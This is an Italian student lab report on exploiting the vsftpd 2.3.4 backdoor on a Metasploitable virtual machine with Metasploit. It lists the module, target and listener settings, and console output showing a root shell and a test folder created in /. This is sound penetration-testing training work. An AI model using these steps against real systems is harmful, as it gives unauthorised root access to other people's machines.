

REPORT S6/L1

1. Introduzione

In questo esercizio abbiamo sfruttato la vulnerabilità di vsftpd 2.3.4 per ottenere l'accesso root a Metasploitable tramite Metasploit, senza necessità di credenziali. L'obiettivo finale era creare una cartella nella root (/) per dimostrare il successo dell'attacco.

2. Configurazione iniziale e individuazione dell'exploit

All'inizio ho configurato correttamente i parametri di connessione in Metasploit utilizzando il comando:

```
< show options >
```

Questo mi ha permesso di verificare e impostare i valori corretti per la connessione alla macchina target.

Per identificare l'exploit adatto, ho utilizzato:

```
< search vsftpd >
```

Questo ha mostrato che il modulo corretto era:

```
< use exploit/unix/ftp/vsftpd_234_backdoor >
```

Dopo aver selezionato l'exploit, ho configurato gli host e le porte:

```
< set RHOSTS 192.168.50.102 >
```

```
< set CHOST 192.168.50.101 >
```

```
< set CPORt 4444 >
```

Verificato con show options, ho lanciato l'exploit inizialmente con:

```
< exploit >
```

Ma dopo un riavvio della macchina ho ripetuto più velocemente il procedimento, lanciando direttamente:

```
< run >
```

3. Ottenimento della Shell e Privilegi Root

Ho verificato di avere i privilegi di amministratore con il comando:

```
< whoami >
```

Output ricevuto: **root** (conferma dell'accesso come amministratore).

4. Creazione della Cartella Personalizzata

Per dimostrare il controllo sulla macchina, ho creato una cartella personalizzata con:

```
< mkdir /test_S7L1_Luca >
```

Successivamente, ho verificato la sua presenza con:

```
< ls -l / >
```

Output ricevuto: La cartella era visibile nella directory root /, confermando il successo dell'attacco.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.50.102
RHOST => 192.168.50.102
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set CHOST 192.168.50.101
CHOST => 192.168.50.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set CPORT 4444
CPORT => 4444
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.50.102:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.50.102:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.50.102:21 - The port used by the backdoor bind listener is already open
[+] 192.168.50.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.101:4444 → 192.168.50.102:6200) at 2025-03-10 16:09:16 +0100
whoami
root
mkdir /test_S7L1_Luca
```

```
drwxr-xr-x 2 root root 4096 Mar 10 2010 opt
dr-xr-xr-x 109 root root 0 Mar 10 10:56 proc
drwxr-xr-x 13 root root 4096 Mar 10 10:57 root
drwxr-xr-x 2 root root 4096 May 13 2012 sbin
drwxr-xr-x 2 root root 4096 Mar 16 2010 srv
drwxr-xr-x 12 root root 0 Mar 10 10:56 sys
drwx—— 2 root root 4096 Mar 10 11:03 test_S7L1_Luca
drwxrwxrwt 4 root root 4096 Mar 10 10:57 tmp
drwxr-xr-x 12 root root 4096 Apr 28 2010 usr
drwxr-xr-x 14 root root 4096 Mar 17 2010 var
lrwxrwxrwx 1 root root 29 Apr 28 2010 vmlinuz → boot/vmlinuz-2.6.24-16-server
```